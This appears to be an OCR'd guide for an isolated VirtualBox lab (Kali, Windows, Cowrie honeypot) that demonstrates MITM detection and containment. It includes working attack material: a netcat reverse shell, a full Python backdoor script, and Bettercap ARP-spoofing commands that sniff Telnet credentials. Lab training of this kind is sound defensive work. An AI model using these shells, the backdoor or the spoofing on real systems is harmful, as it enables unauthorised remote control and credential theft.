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Zero-Trust / Honeypot-Based MITM-Detection Test-bed
VirtualBox - Kali - Windows - Ubuntu (Cowrie)

0. Prerequisites & Host-Side Setup

Item Version / Notes
Host OS Windows 10 / 11 or macOS / Linux with > 16 GB RAM, > 60 GB disk
VirtualBox > 7.0.x (with Extension Pack)
ISO / OVA images | kali-linux-2024.2, Win10 Enterprise Eval 22H2, Ubuntu 24.04 LTS
Network mode Internal Network named intnet (no internet exposure)
Optional Enable VT-x/AMD-V & nested paging in BIOS

1. VM Creation & Network Topology

1.1 Common Network Adapter

1. InVirtualBox > Preferences > Network > Host-only Networks create:
Name intnet — OK

2. For each VM (Kali, Windows, Ubuntu) open Settings > Network —
Adapter 1 — Attached to Internal Network — Name intnet.

1.2 Static IP Plan

VM IP Role

Kali Linux 192.168.1.10/24 | Attacker / Bettercap

Windows 10 | 192.168.1.20/24 | victim loT node

Ubuntu 24.04 | 192.168.1.30/24 | Cowrie honeypot

No gateway is configured (isolated lab).
1.3 Configure IPs

Ka'i(/etc/netplan/Ol—intnet.yaml)
network:
version: 2
ethernets:
ethO:
addresses: [192.168.1.10/24]
sudo netplan apply

Windows
netsh interface ip set address "Ethernet" static 192.168.1.20 255.255.255.0



Ubuntu (/etc/netplan/01-intnet.yaml)

network:
version: 2
ethernets:
enp0s3:
addresses: [192.168.1.30/24]
sudo netplan apply

Verify

ping 192.168.1.20 # from Kali
ping 192.168.1.10 # from Windows

2. Kali Linux (Attacker) Configuration

2.1 Essential Packages

sudo apt update && sudo apt -y install nmap netcat-traditional wireshark \
bettercap git build-essential

2.2 Bettercap Quick Test

sudo bettercap -iface eth0 -eval "net.show"

3. Windows 10 (Victim) Configuration

3.1 Install Nmap Suite (includes ncat.exe)

Download nmap-7.xx-setup.exe — default install to
C:\Program Files (x86) \Nmap\.

3.2 Install Python 3
Download python-3.x.x-amd64.exe — Add Python to PATH.

3.3 Enable Telnet Client

dism /online /Enable-Feature /FeatureName:TelnetClient

4. Ubuntu 24.04 (Cowrie Honeypot)

4.1 Dependencies

sudo apt update && sudo apt -y install git python3 python3-venv python3-pip \
libssl-dev libffi-dev build-essential libpython3-dev libevent-dev authbind

4.2 Clone & Install Cowrie

cd ~

git clone https://github.com/cowrie/cowrie.git
cd cowrie

python3 -m venv cowrie-env

source cowrie-env/bin/activate

pip install --upgrade pip

pip install -r requirements.txt

cp etc/cowrie.cfg.dist etc/cowrie.cfg



4.3 Configure Telnet on Port 2323

Edit etc/cowrie.cfg |

[telnet]
enabled = true
listen endpoints = tcp:2323:interface=0.0.0.0

reported port = 2323
4.4 Start Cowrie
bin/cowrie start -n # -n = foreground, useful for testing

Logs: ~/cowrie/var/log/cowrie/cowrie.log
TTY sessions: ~/cowrie/var/lib/cowrie/tty/

5. Reverse-Shell & Backdoor Simulation
5.1 Netcat Shell (Baseline)

Kali

nc —-lvnp 4444

Windows

cd "C:\Program Files (x86)\Nmap"
ncat 192.168.1.10 4444 -e cmd.exe

Capture with Wireshark filter tcp.port==4444.

5.2 Python Backdoor on Windows
backdoor.py

import socket, subprocess, os
host, port = "192.168.1.10", 9999
s = socket.socket(); s.connect((host, port))
while True:
cmd = s.recv(1024) .decode ()

if cmd.lower () == "exit": break
output = subprocess.getoutput (cmd)
s.send (output.encode())

s.close ()

Run listener on Kali:
nc -lvnp 9999
Execute on Windows:

python backdoor.py

Log timestamps in Wireshark for TTD/TTC metrics.

6. MITM Capture with Bettercap

sudo bettercap -iface ethO
>> set arp.spoof.targets 192.168.1.30



>> arp.spoof on

>> set net.sniff.verbose true

>> set net.sniff.filter tcp port 2323
>> net.sniff on

Observe plaintext Telnet credentials.

7. Victim Telnet Interaction

On Windows:

telnet 192.168.1.30 2323
login: root

password: toor

whoami

dir

exit

Cowrie logs attempts, Bettercap sniffs traffic.
8. Zero-Trust / Blocking Demonstration (Optional)

Windows firewall deny

New-NetFirewallRule -DisplayName "Block Backdoor"
-Direction Outbound -Action Block -Protocol TCP -RemotePort 9999

Re-run backdoor.py — connection refused (containment).

9. Evidence Collection & Integrity

1. Save artefacts
o0 reverse shell 4444 .pcap
o telnet mitm 2323.pcap

o cowrie.log, cowrie.json, tty/*
0 backdoor session.txt, bettercap session.txt

2. Hash

sha256sum *.pcap *.log > hashes.txt

10. Clean Start/Stop Cheat-Sheet

Action Kali Ubuntu Windows
Start listener nc -lvnp 4444 /9999 — —
Start sudo bettercap -iface — —
tho
Bettercap ©
Start Cowrle —_ bin/cowrie start - J—
n
Stop Cowrie — bin/cowrie stop —
Reverse shell | — — ncat ../python
backdoor.py
Telnet test — — telnet 192.168.1.30 2323
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